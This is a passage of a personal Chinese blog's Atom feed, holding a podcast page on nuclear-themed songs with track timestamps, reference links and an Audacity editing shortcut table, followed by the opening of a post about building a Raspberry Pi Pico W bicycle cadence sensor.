&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;nuclear-cover-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;nuclear-cover-optim.jpg&quot;
	alt=&quot;本期播客封面：背景是日本海，前景是半透明的核废料标识&quot;
	height=&quot;1024&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;audio controls preload=&quot;metadata&quot; style=&quot;display:block;width:100%&quot; id=&quot;player&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;nuclear.mp3&quot; type=&quot;audio&#x2F;mpeg&quot; &#x2F;&gt;
    你的浏览器不支持嵌入音频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;nuclear.mp3&quot;&gt;下载&lt;&#x2F;a&gt;下来听。
    视频内容：俩闲人以“核”为主题聊音乐
&lt;&#x2F;audio&gt;
&lt;p&gt;&lt;button onclick=&quot;seek(12.036656)&quot; style=&quot;margin-right:1ch&quot;&gt;00:12&lt;&#x2F;button&gt;开场&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(28.577524)&quot; style=&quot;margin-right:1ch&quot;&gt;00:29&lt;&#x2F;button&gt;The
Clash – London Calling&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(226.838649)&quot; style=&quot;margin-right:1ch&quot;&gt;04:47&lt;&#x2F;button&gt;贝斯、三里岛核事故、卡特总统、&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;彩虹六号：围攻&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;、伦敦地铁&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(629.741871)&quot; style=&quot;margin-right:1ch&quot;&gt;10:30&lt;&#x2F;button&gt;TeaGirl
– Table&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(761.242279)&quot; style=&quot;margin-right:1ch&quot;&gt;13:41&lt;&#x2F;button&gt;碾核、朝鲜、北京、战术核攻击潜艇&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1668.68595)&quot; style=&quot;margin-right:1ch&quot;&gt;28:49&lt;&#x2F;button&gt;King
Gizzard &amp;amp; the Lizard Wizard – Nuclear fusion&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1924.139281)&quot; style=&quot;margin-right:1ch&quot;&gt;32:04&lt;&#x2F;button&gt;微分音、土耳其、唢呐、垃圾动画片&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2542.9235)&quot; style=&quot;margin-right:1ch&quot;&gt;42:23&lt;&#x2F;button&gt;Elton
Britt – Uranium fever&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2681.132412)&quot; style=&quot;margin-right:1ch&quot;&gt;45:41&lt;&#x2F;button&gt;美国淘铀热、新《辐射》系列&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3450.717656)&quot; style=&quot;margin-right:1ch&quot;&gt;58:31&lt;&#x2F;button&gt;Kraftwerk
– Radioactivity&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3852.592557)&quot; style=&quot;margin-right:1ch&quot;&gt;64:13&lt;&#x2F;button&gt;氛围、&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Radio‐Aktivität》的其他音轨、被送入福岛核电站的机器人&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(4228.256207)&quot; style=&quot;margin-right:1ch&quot;&gt;70:28&lt;&#x2F;button&gt;Mike
Oldfield – Nuclear&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(4528.945907)&quot; style=&quot;margin-right:1ch&quot;&gt;75:29&lt;&#x2F;button&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;幻痛》的背景和开头、在语文课上给大家放预告片&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;h2 id=&quot;勘误、扩展&quot;&gt;勘误、扩展&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.iaea.org&#x2F;sites&#x2F;default&#x2F;files&#x2F;ines.pdf&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;国际核和放射事件分级表》&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;List_of_civilian_nuclear_accidents#1950s&quot;&gt;人类史上第一个五级核事故是加拿大的粉笔河实验室在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1952&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年发生的事故&lt;&#x2F;a&gt;——就是卡特当总统之前参与清理行动的那个事故&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;huaren.us&#x2F;showtopic.html?topicid=2619434&quot;&gt;在网上搜到的粉笔河实验室工作趣闻&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; title=&quot;The Clash: Paul Simonon&#x27;s bass guitar&quot; href=&quot;https:&#x2F;&#x2F;www.museumoflondon.org.uk&#x2F;museum-london&#x2F;whats-on&#x2F;exhibitions&#x2F;clash-simonon-bass-guitar-display&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;London
Calling》封面中被砸毁的贝斯目前收藏于伦敦博物馆中&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;teagirl.bandcamp.com&#x2F;album&#x2F;58-inch-impalement&quot;&gt;TeaGirl&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bandcamp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;页面&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; title=&quot;移民朝鲜&quot; href=&quot;https:&#x2F;&#x2F;bilibili.com&#x2F;BV1YY4y1k74Q&quot;&gt;朝鲜街景&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; title=&quot;Song A&#x27;s life Sci Tech Complex in Pyongyang 송아&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=zqgSoM42fPM&quot;&gt;主播长提到的小女孩“Song
A”的平壤科技馆&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VLog&lt;&#x2F;a&gt;——后来得知她是朝鲜驻英大使之女&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;www.news.cn&#x2F;world&#x2F;2023-09&#x2F;08&#x2F;c_1129852014.htm&quot;&gt;朝鲜首艘战术核攻击潜艇下水&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; title=&quot;Çifteli: This microtonal instrument changed the way I think about music&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=dTeSv0SKlGc&quot;&gt;熟悉半音调音的音乐人尝试微分音乐器的视频&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;kinggizzardandthelizardwizard.com&#x2F;bootlegger&quot;&gt;KGLW&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;官方的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bootleg&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;资源&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; title=&quot;King Gizzard and the Lizard Wizard - Flying Microtonal Banana (Live &#x27;21) Full Album Concert&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=q6nGv5a_39k&quot;&gt;爱好者用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;KGLW&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;现场拼成的《Flying
Microtonal
Banana》现场版&lt;&#x2F;a&gt;——这也是让我入坑&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;KGLW&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的兔子洞洞口&lt;&#x2F;li&gt;
&lt;li&gt;购买铀矿石的链接：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;unitednuclear.com&#x2F;premium-uranium-ore-c-2_106&#x2F;&quot;&gt;21,000&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;36,000CPM，或能发光的铀矿石&lt;&#x2F;a&gt;、&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;unitednuclear.com&#x2F;uranium-ore-c-2_4&#x2F;&quot;&gt;普通的铀矿石&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; title=&quot;Analyzing KRAFTWERK&#x27;s BEATS - minimal DRUMS for maximum EFFECT | Drum Patterns Explained&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=2qhcp6iVWbw&quot;&gt;德国音乐人分析&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Kraftwerk&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的每一张专辑的经典曲目，并用鼓机重现它们&lt;&#x2F;a&gt;——当然，包括《Radioactivity》&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; title=&quot;Robot Explores Fukushima Nuclear Reactor&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=gnmS5MKi8pI&quot;&gt;机器人直播的福岛核电站内部情形&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=0EBTn_3DBYo&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Radioactivity》的现场版没有提到福岛，提到的是广岛&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=Krc1t4HU8GI&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;合金装备&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;V：幻痛》在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2014&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;E3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上展示的预告片，使用了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mike
Oldfield&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的《Nuclear》作为配乐&lt;&#x2F;a&gt;——这是我们在语文课上给同学放的版本&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=GJVxPAiB7as&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;合金装备&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;V：幻痛》在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2015&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;E3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上展示的预告片，使用了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;New
Order&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的《Elegia》作为配乐&lt;&#x2F;a&gt;——这是满脸鲜血、长角的“Big
Boss”走过深红色走廊的出处&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.gcores.com&#x2F;albums&#x2F;40&quot;&gt;介绍吹哥（Johnathan Blow）的电台&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;link.springer.com&#x2F;book&#x2F;10.1007&#x2F;978-1-4842-7361-6&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;The Podcaster&#x27;s Audio Handbook: A
Technical Guide for Creative
People》&lt;&#x2F;a&gt;——我受益良多——但这次录音冲动来得很突然，所以没有按书里介绍的做准备&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;Audacity剪辑速成&quot;&gt;Audacity&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;剪辑速成&lt;&#x2F;h2&gt;
&lt;p&gt;我高中时在课上学过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Audacity，但是记不清了，所以这次相当于从头学起。下面是我在剪辑时用到的按键和工具，如果有更好的方法请告诉我。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;动作&lt;&#x2F;th&gt;&lt;th&gt;场景&lt;&#x2F;th&gt;&lt;th&gt;方法&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;平移音轨&lt;&#x2F;td&gt;&lt;td&gt;对齐两人的录音&lt;&#x2F;td&gt;&lt;td&gt;左右拖动音轨的选项卡（在停止播放的时候）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;平移时间&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;按住&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Shift&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;转滚轮&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;移动到最开始&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;结尾&lt;&#x2F;td&gt;&lt;td&gt;加开场、结束音乐&lt;&#x2F;td&gt;&lt;td&gt;HOME&#x2F;END&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;缩放&lt;&#x2F;td&gt;&lt;td&gt;用于找某个词的边界&lt;&#x2F;td&gt;&lt;td&gt;按住&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ctrl&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;转滚轮&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;同时平移多条音轨&lt;&#x2F;td&gt;&lt;td&gt;插入音乐之后平移两人录音&lt;&#x2F;td&gt;&lt;td&gt;在工具栏开启&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Sync-Locked Group（暂时没找到开关的快捷键）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;把某条音轨排除在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Sync-Locked Group&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之外&lt;&#x2F;td&gt;&lt;td&gt;别把音乐也一起挪了&lt;&#x2F;td&gt;&lt;td&gt;用一条&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;label track&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把它和其他音轨隔开&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;同时删除多条音轨的某个部分&lt;&#x2F;td&gt;&lt;td&gt;去掉迷之沉默&lt;&#x2F;td&gt;&lt;td&gt;先在第一条音轨上选第一条边界，再在第二天音轨上按住&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Shift&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;选第二条边界。最后点&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Delete&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;删掉音轨中的某个部分，但不要让其他部分连起来&lt;&#x2F;td&gt;&lt;td&gt;稍微缩短，但不要删掉过长的停顿&lt;&#x2F;td&gt;&lt;td&gt;选中要删除的部分，按&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ctrl+i&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分割。然后在关闭&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Sync-Locked Group&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的情况下删除中间的部分&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;删除音轨中的一部分&lt;&#x2F;td&gt;&lt;td&gt;减少语气助词、结巴、抢话筒、鼠标和水杯的噪音&lt;&#x2F;td&gt;&lt;td&gt;选中段落以后按&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ctrl+l（我猜&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;l&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代表&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;c&lt;strong&gt;l&lt;&#x2F;strong&gt;ear）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;做标注&lt;&#x2F;td&gt;&lt;td&gt;给之后的工作写&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TODO、生成时间轴&lt;&#x2F;td&gt;&lt;td&gt;选中时间点以后按&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ctrl+b（我猜&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;b&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代表&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;strong&gt;b&lt;&#x2F;strong&gt;ookmark）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;导出标注&lt;&#x2F;td&gt;&lt;td&gt;导出时间轴&lt;&#x2F;td&gt;&lt;td&gt;File → Export → Export Labels&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;降噪&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;选取一段足够长的噪音，Effect → Noise Removal and Repair → Noise Reduction → Get Noise Profile。然后选中要降噪的部分，在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Noise Reduction&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;面板点&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Reduce（如果不用调参数的话，可以点&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Effect → Repeat Noise Reduction）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;压缩（动态空间）&lt;&#x2F;td&gt;&lt;td&gt;录音时会有突然的大笑。在剪辑完毕后需要把这些可能爆掉听众耳膜的突起去掉&lt;&#x2F;td&gt;&lt;td&gt;选中片段，Effect → Volume and Compression → Compressor → 调参数多试几次（建议打开右下角的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Compress based on Peaks）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;正常化（响度）&lt;&#x2F;td&gt;&lt;td&gt;保证自己的音频有足够的数据量供播客平台按它们的标注正常化，同时保证听众绕过平台直接听时音量不会太大&lt;&#x2F;td&gt;&lt;td&gt;选中片段，Effect → Volume and Compression → Normalize → -0.5dB&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;剪得如此之多、拼得如此频繁，最后的成品已经是新的创作了。而且，在剪辑时我习得了看波形图知汉字的技能（仅限“就&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;、&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;这个&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;、&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;然后”几个常用垃圾话&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，同时解锁了全世界听这段音频次数的杰尼斯世界纪录。我的获奖感言是：还好我们俩录了两条音轨，要是一条根本想不到怎么修。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;nuclear
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;nuclear&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


三人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;chinanews.social&amp;#x2F;users&amp;#x2F;xupengtao&quot;&gt;




https:&amp;#x2F;&amp;#x2F;chinanews.social&amp;#x2F;users&amp;#x2F;xupengtao&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mastodon.social&amp;#x2F;users&amp;#x2F;Daisy24_Wang&quot;&gt;










Daisy24_Wang&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;casouri&quot;&gt;










冥王星爱丽&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    



&lt;br &#x2F;&gt;
&lt;details open announces&gt;
    &lt;summary&gt;


一人转发：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mastodon.social&amp;#x2F;users&amp;#x2F;Daisy24_Wang&quot;&gt;










Daisy24_Wang&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    



&lt;br &#x2F;&gt;
&lt;details open replies&gt;
    &lt;summary&gt;


两条评论：&lt;&#x2F;summary&gt;
    &lt;p&gt;注：点击昵称可以查看对评论的回复。&lt;&#x2F;p&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mastodon.social&amp;#x2F;users&amp;#x2F;Daisy24_Wang&amp;#x2F;statuses&amp;#x2F;111198948796118471&quot;&gt;










Daisy24_Wang&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot; translate=&quot;no&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; 牛！我听完了:heart_fire:&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;casouri&amp;#x2F;statuses&amp;#x2F;111196766754319674&quot;&gt;










冥王星爱丽&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; 厉害！等晚上来拜读一下大作&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;


&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>自制踏频传感器</title>
    <published>2023-09-24T12:18:58+01:00</published>
    <updated>2023-09-24T12:18:58+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/cadence-sensor/" type="text/html" />
    <id>https://emptystack.top/cadence-sensor/</id>
    <content type="html">
      &lt;p&gt;我从朋友那里收了一辆自行车（巨人逃跑叁辛丑年版&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。那辆车可以变速，但我不会换挡。上网查了下，说合适的挡位是让踏频保持&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;90rpm&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的挡位。我尝试过边数数边骑车，可很难持续数一分钟。正好最近发现小巧可爱的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Raspberry
Pi Pico
W&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以连接各种传感器，能用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MicroPython&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;编程，还具备蓝牙通讯能力，就萌生了用它搭配磁强计做踏频器的想法。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#大致思路&quot;&gt;大致思路&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#购物清单&quot;&gt;购物清单&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#收集数据&quot;&gt;收集数据&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#作图&quot;&gt;作图&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#一块磁铁&quot;&gt;一块磁铁&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#&quot;&gt;&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;cadence-sensor&#x2F;#-1&quot;&gt;&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
